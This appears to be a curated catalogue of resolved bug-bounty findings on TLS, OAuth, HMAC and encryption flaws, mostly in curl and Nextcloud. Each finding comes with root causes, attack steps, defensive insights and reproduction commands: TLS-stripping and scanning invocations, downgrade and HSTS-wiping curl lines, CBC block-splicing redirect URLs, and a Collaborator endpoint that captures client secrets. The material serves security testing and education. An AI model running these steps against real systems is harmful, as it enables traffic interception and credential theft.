Insight — When testing STARTTLS services, check whether the server discards buffered input across the TLS boundary. If plaintext sent before STARTTLS is still processed afterward, you have command injection into the encrypted session. Generalizes to SMTP/IMAP/POP3/FTP/NNTP STARTTLS.
Real-world example
PKCE code_verifier from weak PRNG is guessable -> OAuth token theft
◆ Medium
Specimen #824931 · superhuman · awarded · 76 votes · resolved
Program superhumanSurface mobile-androidChain predict PKCE verifier -> redeem auth code -> access_toTag oauthTag account-takeover
Root cause
The OAuth Authorization-Code-with-PKCE code_verifier is generated with a predictable PRNG (not a CSPRNG); a co-located malicious app can predict the verifier, complete the code exchange, and obtain the access token.
Method
- Observe/derive the PRNG seed/state used to generate the PKCE code_verifier.
- Predict the verifier value for the victim's in-flight auth flow.
- Exchange the intercepted authorization code with the guessed verifier to receive the OAuth access_token (grauth cookie).
Insight — PKCE only protects the code-interception threat if code_verifier is unpredictable. On mobile, verify it comes from SecureRandom/CSPRNG, not Random()/Math.random(); a predictable verifier makes PKCE decorative and re-enables the malicious-app code-interception attack.
Real-world example
E2EE public key never bound to private key (malicious-server key swap)
◆ Medium
Specimen #1189162 · nextcloud · 1500 · 13 votes · resolved
Program nextcloudSurface webChain malicious server -> public key substitution -> break eTag account-takeover
Root cause
The Desktop and Android E2EE clients download the user's public key from the server and encrypt to it without verifying it corresponds to the locally held private key (no keypair binding / test-string round-trip). A malicious or compromised server can replace the public key with its own and transparently decrypt future uploads.
Method
- User enables E2EE on device1, stores mnemonic, uploads data
- Attacker with server access replaces userA's stored public key with the attacker's public key
- User sets up device2, enters the same mnemonic, uploads more data
- New data is encrypted to the attacker's key; attacker decrypts it
Insight — For any client-side/E2E crypto, verify the client checks that the fetched public key actually matches the private key (encrypt-then-decrypt a test string, or pin/verify certificates). A server that supplies the key it will 'protect' data from is an untrusted key distributor.
Real-world example
HMAC pre-image omits method/path/body -> cross-endpoint signature reuse
◆ Low
Specimen #3670955 · coinmate · none · 65 votes · resolved
Program coinmateSurface apiChain MITM read-only request -> drop -> replay signature on
Root cause
The API signs HMAC over only nonce+clientId+publicKey, not the HTTP method, URL path, or request body. Identity is bound but intent is not, so a valid signature for a harmless call can be replayed against a destructive endpoint with forged parameters.
Method
- Capture a victim's signed request to a read-only endpoint (e.g. /api/balances) as MITM.
- DROP the original so its nonce is never consumed (defeats anti-replay).
- Reuse the same signature+nonce against a state-changing endpoint (e.g. /api/sellLimit) with attacker-chosen POST params; backend verifies HMAC and executes.
# vulnerable pre-image:
HMAC(private_key, nonce + clientId + publicKey)
# correct pre-image must bind intent:
HMAC = SHA256(private_key, nonce + HTTP_METHOD + REQUEST_PATH + POST_BODY + clientId + publicKey)
Insight — When you see HMAC-signed API requests, reconstruct the signed pre-image and check exactly which fields it covers. If path/method/body are excluded, a signature is a bearer token for ANY request within the nonce window -> forge cross-endpoint/parameter-tampered calls. Note: manual curl replay fails on nonce reuse; drop the original request (or automate) to keep the nonce fresh.
Real-world example
Security-state file zeroed via temp+rename when filename exceeds FS limit (HSTS bypass)
◆ Low
Specimen #2236133 · curl · none · 27 votes · resolved
Program curlSurface otherChain long HSTS filename -> rename fail -> HSTS cache cleare
Root cause
The HSTS DB is saved by writing '<file>.<randsuffix>.tmp' then renaming to <file>; if <file> is near the filesystem's max name length, appending the suffix overflows it, the write/rename fails, and error handling leaves the DB truncated to 0 bytes -> HSTS state is lost.
Method
- Point curl at an HSTS file whose name is > (FS_MAX - 13) bytes (e.g. >243 on ext4).
- Trigger a save (visit an HSTS host); the temp name overflows -> rename fails.
- Observe the original HSTS DB is now empty -> subsequent requests are not upgraded to HTTPS (downgrade/MITM window).
cp ok.hsts.txt $(python3 -c "print('hsts.'*50)").txt # name > 243 bytes
curl --hsts <that_long_name>.txt https://facebook.com -v
cat <that_long_name>.txt # now 0 bytes -> HSTS cache wiped
Insight — When state/security files are persisted with a temp-write + rename + suffix pattern, probe the failure path: long paths, read-only dirs, full disks. A failed atomic save that clobbers or zeroes the original file silently drops security state (HSTS, known_hosts, pin caches) -> downgrade attacks.
Real-world example
OCSP revocation check bypassed on TLS session reuse
◆ Low
Specimen #2298922 · curl · none · 23 votes · resolved
Program curlSurface other
Root cause
When a TLS session is resumed, curl skipped OCSP stapling verification but kept the session alive regardless of the earlier OCSP result, so a revoked certificate is accepted on the resumed connection.
Method
- Identify a host serving a revoked certificate
- Issue two requests over one curl invocation so the second reuses the TLS session
- First request fails OCSP (curl: 91), second reuses session and passes
curl https://TARGET/ https://TARGET/ --cert-status
Insight — Revocation and certificate checks are frequently skipped on TLS session resumption. Always test cert validation twice - once fresh, once on a resumed session - because the resumption path often bypasses full validation.
Real-world example
OIDC client_secret and tokens transmitted over cleartext HTTP
◆ Low
Specimen #1687005 · nextcloud · none · 21 votes · resolved
Program nextcloudSurface webTag oauth
Root cause
The user_oidc SSO backend accepts provider endpoint URLs with an http:// scheme and does not enforce TLS, so the OIDC token request (carrying client_secret) is sent in plaintext, contrary to the OIDC spec's MUST-use-TLS requirement.
Method
- Configure the OIDC provider with an http:// (non-TLS) endpoint URL - use a Burp Collaborator http URL as the provider
- Trigger the login flow
- Capture the outgoing token request; client_secret and code are in cleartext
# Provider endpoint: http://COLLAB/ (http, not https)
# Observe Nextcloud's server-side token request:
POST http://COLLAB/token
client_id=...&client_secret=SECRET&grant_type=authorization_code&code=...
Insight — When testing SSO/OIDC/OAuth/webhook config screens, try entering an http:// (or Collaborator) endpoint. Libraries that don't enforce https leak client_secret/tokens on the wire and confirm SSRF-style outbound reach at the same time.
Real-world example
rejectUnauthorized:undefined disables all TLS validation (Node)
◆ Low
Specimen #1278254 · nodejs · 150 · 20 votes · resolved
Program nodejsSurface other
Root cause
tls.connect treated rejectUnauthorized:undefined identically to false (docs claimed only false disables), so config objects built dynamically that produce an undefined field silently disable all certificate validation.
Method
- Pass { rejectUnauthorized: undefined } to https.get/tls.connect
- Request to expired.badssl.com succeeds instead of failing
- Any library building options with explicit undefineds (e.g. global-agent) is silently MITM-able
const https=require('https');
https.get('https://expired.badssl.com', { rejectUnauthorized: undefined })
.on('response',()=>console.log('succeeded (BUG)'));
Insight — Audit security flags for undefined/null coercion. Options merged from partial configs often inject undefined; if the library treats undefined as 'off' rather than 'default', TLS/auth checks silently vanish. Test the undefined value explicitly, not just true/false.
Real-world example
Connection reuse ignores TLS requirement -> STARTTLS downgrade
◆ Low
Specimen #3621851 · curl · none · 13 votes · resolved
Program curlSurface other
Root cause
libcurl's connection-reuse matching for cleartext-upgrade mail protocols (imap/pop3/smtp) does not include the later transfer's CURLOPT_USE_SSL setting, so a transfer that explicitly requires STARTTLS (--ssl-reqd) can reuse an already-open plaintext connection, silently sending credentials/data in cleartext (CVE-2026-4873).
Method
- Open a plaintext imap/pop3/smtp connection (no --ssl-reqd) that stays reusable
- In the same handle, issue a --ssl-reqd transfer to the same host/port
- Observe the second transfer reuses the plaintext connection instead of enforcing STARTTLS
curl -sv -u alice:pw --url 'imap://127.0.0.1:2525/' -X NOOP \
--next \
-sv -u alice:pw --url 'imap://127.0.0.1:2525/Box/;MAILINDEX=1' --ssl-reqd
# second (TLS-required) transfer reuses the first plaintext connection
Insight — Connection-pool reuse must key on security-relevant options, not just host/port/user. When a security requirement (TLS, auth, cert pinning) is a per-transfer flag, verify it's part of the reuse-match criteria; otherwise a low-security prior connection satisfies a high-security later request -> downgrade. Test by mixing secure and insecure requests on one client/handle.
Real-world example
Ambiguous HMAC key concatenation enables cross-version block swap
◆ Low
Specimen #661051 · nextcloud · awarded · 9 votes · resolved
Program nextcloudSurface web
Root cause
Per-block MAC key = HMAC-salt built from unseparated concatenation of passphrase + version + position + 'a'; without delimiters, (version=1,pos=10) and (version=11,pos=0) produce identical keys, so an attacker with storage access can splice a block from another file version and the MAC still verifies.
Method
- Create a file large enough to span multiple 6072-byte blocks; upload (encrypted+signed)
- Generate multiple versions (files share the same file key across versions)
- dd a block from an old version into a colliding position of the current version
- Re-download: block content changed but signature check still passes
php -r 'print(str_repeat("A",6072*10).str_repeat("B",6072)."1");' >collision.txt
dd if=collision.txt.1 of=collision.txt bs=8192 conv=notrunc skip=11 seek=1 count=1
Insight — Whenever a MAC/signature key or hash is built by concatenating variable-length fields without unambiguous delimiters or length-prefixing, look for collisions between different (field_a,field_b) combinations. Reusing the same key across versions/objects compounds it into a swap/replay attack.
Real-world example
TLS 1.3 session ticket stored under wrong (non-proxy) context in curl (CVE-2021-22890)
◆ Low
Specimen #1129529 · curl · none · 7 votes · resolved
Program curlSurface otherTag account-takeover
Root cause
curl keeps separate SSL contexts for the HTTPS proxy and the destination. TLS 1.3 delivers session tickets post-handshake (on first SSL_read), after CONNECT_PROXY_SSL() already reports the proxy as connected, so Curl_ssl_addsessionid mis-attributes the proxy's ticket to the destination context. A malicious HTTPS proxy can then have the client offer the proxy's ticket to the real destination and resume it (proxy holds the ticket key), and since resumption skips cert exchange it approaches a MITM.
Method
- Client connects to destination through a TLS 1.3 HTTPS proxy; proxy issues a session ticket post-handshake.
- curl stores that proxy ticket under the destination's context (the bug).
- On the destination TLS handshake curl offers the proxy's ticket; malicious proxy terminates and resumes it as the destination.
- Resumption exchanges no certs -> MITM, mitigated only because curl re-validates the cert stored in the SSL_SESSION (non-self-signed + subject match), so it fails unless the proxy cert also lists the destination name.
curl --proxy-cacert proxy_ca.pem --proxy-header 'Mitm: 1' -x 'https://localhost:12346' 'https://haxx.se'
# succeeds (no cert error) only because proxy cert 'haxx.se.pem' lists haxx.se as a SAN
Insight — In any client that multiplexes TLS state across a proxy and an origin, verify session tickets are keyed to the exact context that created them; TLS 1.3 post-handshake tickets break assumptions built for TLS 1.2 (tickets during SSL_connect). Cross-context ticket reuse is a MITM primitive.
Real-world example
libcurl native CA trust persists after switch to custom CA (CVE-2026-11564)
◆ Low
Specimen #3788984 · curl · none · 7 votes · resolved
Program curlSurface networkTag webhook
Root cause
CVE-2026-11564: on builds with USE_APPLE_SECTRUST/CURL_CA_NATIVE, libcurl sets native_ca_store=TRUE on first default-trust transfer but never resets it when the same reused easy handle is later configured with a custom CAINFO/CAPATH/CAINFO_BLOB, so the reused handle keeps trusting the platform store alongside the intended custom trust.
Method
- Reuse one curl easy handle: first transfer uses default (native) trust, enabling native_ca_store.
- Reconfigure the same handle with a custom CA (CURLOPT_CAINFO/CAPATH/CAINFO_BLOB).
- native_ca_store is not cleared, so the later transfer still trusts native platform CAs, not just the custom set.
CURLOPT_CAINFO / CURLOPT_CAPATH / CURLOPT_CAINFO_BLOB set on a reused handle
// native_ca_store flag from the earlier default transfer is never reset
Insight — Reused client/connection handles can leak security-relevant state between transfers. When an app pins to a custom CA on a pooled/reused handle, verify the native/system trust was actually disabled; stale trust flags cause a silent trust-policy bypass. Applies broadly to any library object reused with changed security config.
Real-world example
curl HSTS not applied across requests in a single invocation (HTTP downgrade)
◆ Low
Specimen #1813864 · curl · none · 6 votes · resolved
Program curlSurface other
Root cause
curl only consulted/updated its in-memory HSTS cache once per invocation, so a later http:// URL in the same command line was fetched in cleartext even after an earlier request received a valid HSTS header (CVE-2023-23914).
Method
- Invoke curl with HSTS enabled and multiple URLs, first https then http to the same HSTS host
- Observe the second (http://) request is sent in cleartext instead of being upgraded
- Confidentiality/integrity of the second request is lost
curl --hsts "" https://hsts.example.com http://hsts.example.com
# 2nd request goes over HTTP despite HSTS header from the 1st
Insight — HSTS/security state that is loaded once per process can be stale for subsequent requests in the same run; when auditing clients/libraries, test multi-request-per-invocation flows, not just single requests.
Real-world example
Wildcard cert match accepts IDN/puny-code hosts (curl)
◆ Low
Specimen #1991427 · ibb · awarded · 4 votes · resolved
Program ibbSurface other
Root cause
curl's private wildcard-matching function allowed partial wildcards (a*, a*b, *b) and applied them to IDN hosts converted to puny-code (xn--...), so a SAN pattern like x* could match a puny-coded name that visually contains no 'x', accepting a certificate that should mismatch (CVE-2023-28321).
Method
- Target a client using curl's own name matcher (not the TLS lib's)
- Obtain a cert with a partial-wildcard SAN (e.g. x*)
- Connect to an IDN host whose puny-code (xn--) prefix satisfies the partial wildcard
- Improper host match -> cert accepted for wrong host
# fix removed partial wildcards entirely: only *.<domain> matches now
# vulnerable matching: SAN 'x*' matched 'xn--...' puny host
# test any custom wildcard matcher against IDN + partial-wildcard SANs
Insight — Certificate hostname matching is a perennial source of subtle bugs: test any custom matcher against partial wildcards (a*, *b, a*b), leading-dot cases, and IDN/puny-code conversions. Prefer library matching and restrict wildcards to a single left-most label.
Real-world example
Scanner-grade TLS transport misconfiguration (POODLE/BEAST/SWEET32/SSLv2/CCS)
◆ Low
Specimen #116360 · gratipay · awarded · 3 votes · resolved
Program gratipaySurface webTag mitm
Root cause
Legacy protocols and weak CBC/64-bit-block ciphers left enabled on the TLS endpoint permit downgrade/MITM plaintext-recovery attacks (POODLE on SSLv3+CBC, BEAST on TLS1.0 CBC, SWEET32 on 3DES 64-bit blocks, CCS injection, SSLv2 presence).
Method
- Enumerate protocols/ciphers with testssl.sh, sslscan, or nmap --script ssl-enum-ciphers against host:443 (and mail ports 25/465/993/995).
- Flag SSLv3 enabled -> POODLE; TLS1.0 CBC -> BEAST; 3DES/64-bit block -> SWEET32; SSLv2/EXPORT present -> DROWN exposure; early-CCS accept -> CVE-2014-0224.
- Report the concrete cipher/protocol lines as the tell; remediation is disabling the legacy protocol/cipher.
nmap --script ssl-enum-ciphers -p 443 TARGET
testssl.sh --full TARGET:443
# nginx fix:
ssl_protocols TLSv1.2 TLSv1.3;
ssl_ciphers 'HIGH:!aNULL:!3DES:!RC4';
Insight — These are low-severity, scanner-detected transport findings; individually weak, but the transferable primitive is a single TLS enumeration pass mapping each legacy protocol/cipher to its named attack. Only worth reporting where an active MITM position is plausible; do not inflate a config line into an exploit.
Real-world example
0-RTT early data sent before peer cert verification (curl HTTP/3 CVE-2026-9545)
◆ Low
Specimen #3752888 · curl · none · 3 votes · resolved
Program curlSurface otherChain session resumption + early data -> MITM reroute -> firTag mitm
Root cause
On ngtcp2 HTTP/3 TLS session resumption with early-data support, cf_ngtcp2_on_session_reuse() marks the filter connected before the new QUIC/TLS handshake completes; cf_ngtcp2_send() checks tls_vrfy_result only at entry, so it opens an H3 stream and flushes request bytes as early data before the new peer is verified.
Method
- First request caches an H3/TLS session that allows early data for the target host.
- Active network attacker reroutes the resumed connection to a TLS endpoint presenting a cert that does not validate for the target hostname (e.g. evil.example.com).
- Second request enables early data; curl sends the request (cookies/bearer/body) as 0-RTT before verification, then fails cert check (exit 60) - but the request bytes are already on the wire to the attacker.
curl --http3-only --tls-earlydata \
--ssl-sessions sessions.txt --cacert ca.pem \
--connect-to target.example.com:4433:127.0.0.1:4433 \
-H "Authorization: Bearer SECRET" -d 'secret=SECRET' https://target.example.com:4433/
# server log shows the Authorization header despite curl (60) cert-verify failure
Insight — 0-RTT/early data is sent before the handshake (and thus before peer authentication) finishes; any code path that gates only on a cached verify result, not on handshake-complete, can leak the first request to an unauthenticated peer. When reviewing TLS resumption/early-data code, confirm sensitive request bytes are withheld until peer verification for the NEW connection succeeds.
Real-world example
Wildcard-vs-IDN certificate match logic bug (curl CVE-2023-28321)
◆ Low
Specimen #1950627 · curl · none · 2 votes · resolved
Program curlSurface otherTag mitm
Root cause
hostcheck.c guarded the too-wide-wildcard/IDN path by testing strncasecompare(pattern,"xn--",4) instead of the hostname; since pattern is the cert CN/SAN (contains the wildcard) it never matches, so a wildcard cert is wrongly allowed to match an IDN hostname (violating RFC 6125 6.4.3).
Method
- Create a wildcard cert, e.g. CN=x*.example.local.
- Serve it: openssl s_server -accept 443 -cert server.crt -key server.key -www.
- Point an IDN hostname (xn--l8j.example.local) at the server via hosts file.
- curl the punycode/percent-encoded IDN host with --cacert server.crt; connection wrongly succeeds instead of failing validation.
openssl s_server -accept 443 -cert server.crt -key server.key -www # CN=x*.example.local
curl https://%E3%81%82.example.local --cacert server.crt # xn--l8j.example.local -> should fail, but matches
Insight — Hostname/cert matching code is a rich source of off-by-one/variable-mixup bugs: check whether the IDN/wildcard guard tests the pattern or the hostname. When auditing TLS validation, build wildcard + IDN test certs and confirm RFC 6125 6.4.3 (no wildcard match for IDN A-labels) is actually enforced.
Real-world example
Password stored plaintext on one code path (create) while hashed on others (autogen/update)
◆ Low
Specimen #885041 · nextcloud · none · 2 votes · resolved
Program nextcloudSurface api
Root cause
When a mail-share password is supplied at creation via the OCS API it is persisted as-is, whereas the autogenerated-password path and the later-update path both hash it; inconsistent handling across entry points leaves a plaintext secret in the database (CVE-2020-8183).
Method
- Create the share via the OCS API supplying a password directly
- Inspect the oc_share DB row
- Observe the password stored in cleartext (hashed only if autogenerated or updated afterward)
curl -u admin:admin -X POST -H "OCS-APIRequest: true" \
"http://localhost/ocs/v1.php/apps/files_sharing/api/v1/shares?path=welcome.txt&shareType=4&shareWith=user@server.com&password=plainTextPassword"
# -> oc_share.password == 'plainTextPassword' (not hashed)
Insight — A secret can be handled securely in the common flow yet stored plaintext via an alternate entry point (API vs UI, create vs update, supplied vs generated). When auditing, enumerate every code path that sets a given secret and confirm the hashing/encryption call is present in all of them, not just the one the UI exercises.
Real-world example
Predictable WebSocket masking key reused for every frame
◆ Low
Specimen #3330839 · curl · none · 30 votes · resolved
Program curlSurface otherChain predictable mask -> attacker-chosen wire bytes -> prox
Root cause
A WebSocket client picks one 32-bit masking key at connection setup and reuses it for every frame, violating RFC6455 5.3 which requires a fresh, unpredictable per-frame mask; a predictable mask lets an attacker choose the bytes that appear on the wire.
Method
- Confirm the client generates enc.mask once (at accept) and reuses it in write_head/write_payload.
- Recover the fixed mask from any observed frame (XOR known plaintext).
- Predict/control masked bytes of subsequent frames -> craft wire content for proxy cache-poisoning attacks.
Insight — Audit WebSocket client implementations for per-frame mask freshness: the mask must come from a CSPRNG and change every frame. A fixed or predictable mask re-enables the classic masking-bypass cache-poisoning attack the mask was designed to stop.
Real-world example
Shared static array leaks TLS cipher config across connections
◆ Low
Specimen #1172857 · curl · awarded · 14 votes · resolved
Program curlSurface other
Root cause
curl's Schannel cipher selection stored the chosen algIds in a static array, so the last-configured cipher list overrode the config used by other concurrent curl handles, potentially applying weak ciphers where strong ones were requested (CVE-2021-22897).
Method
- Create multiple curl_easy handles
- Set different CURLOPT_SSL_CIPHER_LIST per handle
- Run them concurrently; some connections use another handle's cipher list due to the shared static array
Insight — Per-connection security settings stored in static/global state cross-contaminate under concurrency. When auditing TLS/crypto config code, check that cipher/protocol/verify options live in per-handle context, not module-level statics.
Real-world example
Reversible secret stored in plaintext at rest (CVE-2023-39954)
◆ Low
Specimen #1994328 · nextcloud · none · 3 votes · resolved
Program nextcloudSurface webChain DB snapshot read -> recover client secret -> impersonaTag oauth
Root cause
A client secret that must be used in its cleartext form (so cannot be hashed) was stored plaintext in the database; anyone with read access to a DB snapshot recovers it and can impersonate the server.
Method
- Identify secrets that must remain reversible (client secrets, API keys, OAuth secrets) stored in the DB.
- Check whether they are stored plaintext vs encrypted-at-rest.
- A read-only DB/snapshot leak then yields the secret -> impersonation.
Insight — Distinguish secrets that can be hashed (passwords) from secrets that must be reversible (client/OAuth secrets, API keys) - the latter must be encrypted at rest, not stored plaintext, because the threat model is DB-snapshot read access. When reviewing schemas, flag any *_secret/*_key column in cleartext.
Real-world example
POODLE / SSLv3 support detection across all TLS ports
◆ Info
Specimen #288966 · x · awarded · 28 votes · resolved
Program xSurface network
Root cause
Servers still negotiate SSLv3 with nondeterministic CBC padding (CVE-2014-3566), enabling a padding-oracle (POODLE) MITM downgrade attack to recover cleartext.
Method
- Build a host list covering all TLS-bearing ports (not just 443: SMTP 25/587, IMAPS, POP3S).
- Scan with nmap ssl-poodle across the list.
- Report VULNERABLE hosts; confirm SSLv3 negotiation is possible.
nmap -sV --version-light -Pn --script ssl-poodle -p 25 -iL smtp_servers.txt | grep -B5 VULNERABLE
nmap -sV --version-light --script ssl-poodle -p 443 TARGET
Insight — Don't limit TLS/cipher audits to 443. Mail (25/465/587), IMAP/POP, and admin/status subdomains frequently lag on protocol hygiene and still speak SSLv3/legacy ciphers. Sweep the full port set with nmap ssl-* scripts / testssl.sh.
Real-world example
CBC cut-and-paste on encrypted redirect param -> open redirect/XSS
◆ Info
Specimen #126203 · uber · 500 · 22 votes · resolved
Program uberSurface webChain open redirect -> potential XSS via data: URI
Root cause
A redirect endpoint decrypts an AES-CBC (block size 8) parameter with no integrity check, and a second endpoint encrypts attacker-controlled input and reflects the ciphertext, giving both an encryption and a decryption oracle. Attacker splices ciphertext blocks (cut-and-paste) to craft an arbitrary decrypted redirect target.
Method
- Find endpoint that reflects a value you control as ciphertext (encryption oracle) e.g. ?uuid=...
- Find the decrypt/redirect endpoint (?EQ=ciphertext) and infer CBC + block size
- Encrypt attacker string (e.g. @orange.tw/?) via the oracle
- Splice/reorder ciphertext blocks into the redirect ciphertext to force redirect to attacker domain
- Optionally craft a data:text/html base64 payload for XSS
# encryption oracle:
https://pages.et.uber.com/hangzhou1year/?uuid=INJECT -> view-source reveals Redirect.aspx?EQ=<ciphertext of INJECT>
# then cut-and-paste blocks into:
https://pages.et.uber.com/Redirect.aspx?EQ=<spliced_ciphertext>
Insight — An encrypted token without a MAC plus separate encrypt and decrypt oracles = full CBC malleability. The tell is a value you supply coming back in encrypted form (encryption oracle) alongside any endpoint that decrypts the same format.
Real-world example
AES-GCM nonce reuse from IV-before-key ordering
◆ Info
Specimen #170548 · ruby · 500 · 17 votes · resolved
Program rubySurface otherTag jwt
Root cause
In Ruby's OpenSSL binding, setting the IV before the key causes the cipher to silently fall back to a static IV; with AES-GCM (a stream cipher) this reuses the keystream/nonce, enabling two-time-pad recovery and auth-tag forgery.
Method
- Review code using OpenSSL::Cipher AES-*-GCM and check the order of key= vs random_iv/iv= assignment.
- Encrypt the same plaintext twice; if ciphertext is identical despite a 'random' IV being reported, the IV is static.
- Collect multiple ciphertexts under the reused nonce and XOR/crib-drag to recover plaintext.
# VULNERABLE ordering (static IV):
cipher = OpenSSL::Cipher.new('aes-256-gcm')
iv = cipher.random_iv # IV set BEFORE key -> ignored/static
cipher.key = KEY
# tell: identical ciphertext for identical plaintext across runs
# SECURE ordering:
cipher.key = KEY
iv = cipher.random_iv # IV set AFTER key
Insight — For any GCM/CTR/stream-cipher code, verify nonce uniqueness empirically: encrypt the same message twice and diff the ciphertext. Reused nonces in GCM break both confidentiality and integrity (allow forgeries). API ordering bugs make 'random_iv' a false sense of security.
Real-world example
TLS Triple Handshake MITM (master-secret / channel-binding confusion)
◆ Info
Specimen #7277 · ibb · awarded · 14 votes · resolved
Program ibbSurface networkChain handshake relay -> shared master secret -> client-authTag account-takeover
Root cause
When a client reuses a client certificate, a MITM server can drive two connections to share the same master secret/session (full handshake, then resumption), so a subsequent client-authenticated renegotiation binds the client's identity onto the attacker's earlier data, defeating the Renegotiation Indication extension and any TLS-channel-binding.
Method
- MITM relays initial RSA/DHE handshakes C-M and M-S, forcing both sessions to share the master secret
- Inject session resumption on new connections so RI extensions are empty and record keys re-derive identically
- Relay a client-cert renegotiation C-M-S; identical handshake logs make RI checks pass
- S now attributes the attacker's earlier bytes to the authenticated client
session_hash = Hash(handshake_messages up to ClientKeyExchange)
master_secret = PRF(pre_master_secret, "extended master secret", session_hash) # the fix (RFC 7627)
Insight — Any security decision bound to the TLS master secret / tls-unique channel binding is unsafe if the master secret is not bound to the full handshake. When reviewing mutual-TLS or channel-binding auth, require Extended Master Secret (RFC 7627) and forbid server-identity change across renegotiation.
Real-world example
GOLDENDOODLE: CBC MAC/padding oracle on TLS application data
◆ Info
Specimen #402671 · x · none · 11 votes · resolved
Program xSurface webChain MITM -> padding oracle -> cookie recovery -> sessio
Root cause
The TLS terminator does not correctly validate CBC records: it responds differently (data vs EOF) to a bad-record-MAC when the last plaintext byte is 0x00. This padding/MAC oracle (a POODLE variant, GOLDENDOODLE) lets an active MITM decrypt HTTPS bytes such as an auth cookie.
Method
- MITM the victim (or get them to load JS) to trigger length-aligned HTTPS requests to the target
- Copy a target ciphertext block (containing a secret) into the padding position
- XOR a guessed plaintext byte into the last byte of the preceding ciphertext block
- If the server returns data (no error), the guess yielded plaintext 0x00 -> byte recovered; repeat per byte
# custom tool: send GET sized to need 16 bytes padding; test padding on application data (not handshake)
# oracle: response received vs EOF distinguishes last-byte==0x00
Insight — Scan CBC TLS stacks by sending malformed MAC/padding on APPLICATION data, not just the handshake (that's what POODLE scanners miss). A differential response is a decryption oracle; GOLDENDOODLE is faster than POODLE when the secret is in a known charset (~256 conns/byte or less).
Real-world example
Compression re-enables a length-based traffic-analysis side channel that padding was hiding
◆ Info
Specimen #29835 · x · 280 · 7 votes · resolved
Program xSurface web
Root cause
Profile images were deliberately padded to fixed length thresholds so an on-path attacker couldn't distinguish them by encrypted response size; a later performance change enabling GZIP compressed away the padding, restoring the size differences and defeating the length-hiding.
Method
- Identify a resource padded to uniform sizes for privacy (length-hiding).
- Check whether transport/content compression (GZIP/Brotli) is applied on top.
- If so, compressed sizes vary again and an on-path attacker can fingerprint which resource/page was fetched.
# conceptual: padded image A (16298B) and B (16298B) are indistinguishable over TLS,
# but with Content-Encoding: gzip they compress to different sizes -> distinguishable again
Insight — Compression undoes size-normalization defenses. When reviewing privacy padding, MACs over length, or CRIME/BREACH-style issues, check whether GZIP/Brotli is layered after the padding - compression before encryption leaks length/secret-correlated size. A performance optimization silently broke a security control here.
Real-world example
Mass SSL certificate-validation failure in mobile apps
◆ Info
Specimen #2293 · ibb · none · 5 votes · resolved
Program ibbSurface mobile-androidTag account-takeover
Root cause
Mobile apps ship TLS clients that skip CA/hostname validation (custom TrustManager/NSURLConnection delegate that trusts all), so any attacker with a self-signed cert on the network path MitMs credentials.
Method
- Put device behind an intercepting proxy (Burp/mitmproxy) with a self-signed, untrusted CA cert
- Drive login/registration flow while watching for cleartext creds/CC data in the proxy
- App that connects without a certificate warning is not validating the chain or hostname
# generic MitM detection for a mobile app
mitmproxy -p 8080 # do NOT install the mitm CA on the device
# route device traffic through proxy; if HTTPS requests still succeed => no validation
# ~75 apps found vulnerable: banking, Uber(fixed), Groupon, Western Union, etc.
Insight — Systematically test every mobile app with an untrusted intercepting proxy; broken cert validation is endemic because devs override the default TrustManager to silence self-signed errors in dev and ship it.
Real-world example
FREAK - EXPORT_RSA downgrade + 512-bit key factoring
◆ Info
Specimen #50170 · ibb · awarded · 5 votes · resolved
Program ibbSurface networkChain EXPORT ciphersuite support -> key substitution -> offlTag account-takeover
Root cause
Servers still offer obsolete TLS_RSA_EXPORT_* ciphersuites with a long-lived 512-bit ephemeral RSA key; vulnerable clients accept an EXPORT_RSA ServerKeyExchange during a normal RSA handshake, letting a MitM substitute a factorable key and impersonate the server (CVE-2015-0204).
Method
- Detect: check if target offers RSA_EXPORT ciphersuites (openssl s_client / testssl)
- Confirm client accepts a 512-bit ephemeral RSA ServerKeyExchange in a non-export handshake
- Factor the 512-bit modulus (cado-nfs on cloud, ~7-11h, ~$70-100); keys stay static until reboot
- MitM the connection, impersonate server, tamper/inject content
testssl.sh --freak TARGET:443
# or
openssl s_client -connect TARGET:443 -cipher EXPORT
# vulnerable if EXPORT_RSA ciphersuite negotiates
Insight — Any downgrade path to intentionally-weakened 'export' crypto is exploitable once the weak key is small enough to factor cheaply; check both server ciphersuite support AND client acceptance of unexpectedly-weak key exchange.
Real-world example
STARTTLS stripping via injected SMTP response (smtplib)
◆ Info
Specimen #144782 · ibb · 1000 · 4 votes · resolved
Program ibbSurface network
Root cause
Python smtplib doesn't raise on an unexpected server response during STARTTLS negotiation, so a MitM who injects a failure/greeting causes the client to silently continue in cleartext instead of aborting (CVE-2016-0772).
Method
- MitM the SMTP session before TLS is established
- Inject a crafted response so STARTTLS appears to fail/complete
- Client continues in plaintext without raising -> confidentiality lost
- Generalize: same class exists for pop3/imap/ftp/xmpp/acap/irc STARTTLS
pip install striptls
python -m striptls --listen 0.0.0.0:25 --remote mail.TARGET:25 --vectors ALL
# probes SMTP/POP3/IMAP/FTP/XMPP STARTTLS-strip vectors
Insight — Any opportunistic-TLS (STARTTLS) client that fails open on negotiation errors is strippable; the transferable check is: does the client hard-abort on any unexpected pre-TLS response? Use striptls to probe any custom protocol over explicit TLS.
Real-world example
Non-constant-time token comparison (timing side channel)
◆ Info
Specimen #31167 · joola-io · none · 4 votes · resolved
Program joola-ioSurface apiTag oauth
Root cause
Secret/token/HMAC verification uses language default equality (=== / !==), which short-circuits on the first mismatching byte, leaking a timing signal that lets an attacker recover the secret byte-by-byte.
Method
- Locate the equality check on a secret (API token, OAuth signature, HMAC, reset token)
- Confirm it uses ===/==/!== rather than a constant-time compare
- Measure response-time deltas per guessed byte to recover the secret incrementally
// vulnerable:
if (providedToken === storedToken) { ... }
// fix (Node):
require('crypto').timingSafeEqual(Buffer.from(a), Buffer.from(b))
Insight — Grep any auth/signature path for ==/===/!== on secrets and for strcmp/memcmp in native code; replace with constant-time comparison. High-value in OAuth/HMAC/webhook-signature verification where the secret is guessable over many requests.
Real-world example
SSLv2 'Extra Clear' session-key recovery (Special DROWN)
◆ Info
Specimen #138179 · ibb · awarded · 4 votes · resolved
Program ibbSurface networkChain SSLv2 oracle -> master-key recovery -> decrypt/imperso
Root cause
Pre-2015 OpenSSL s2_srvr.c did not enforce clear-key-length==0 for non-export SSLv2 ciphers; injected clear-key bytes displace encrypted-key bytes, turning the server into an oracle for a divide-and-conquer master-key recovery in ~16 connections (CVE-2016-0703).
Method
- Find a server still speaking SSLv2 with the vulnerable OpenSSL (<2015-03-19)
- Send SSLv2 handshakes with clear-key bytes present for a non-export cipher
- Use the server as an oracle: ~16 connections + negligible compute recover the master key
- Enables Special DROWN (efficient DROWN vs modern TLS sharing the RSA key)
# detect any SSLv2 support at all (should be zero):
openssl s_client -ssl2 -connect TARGET:443
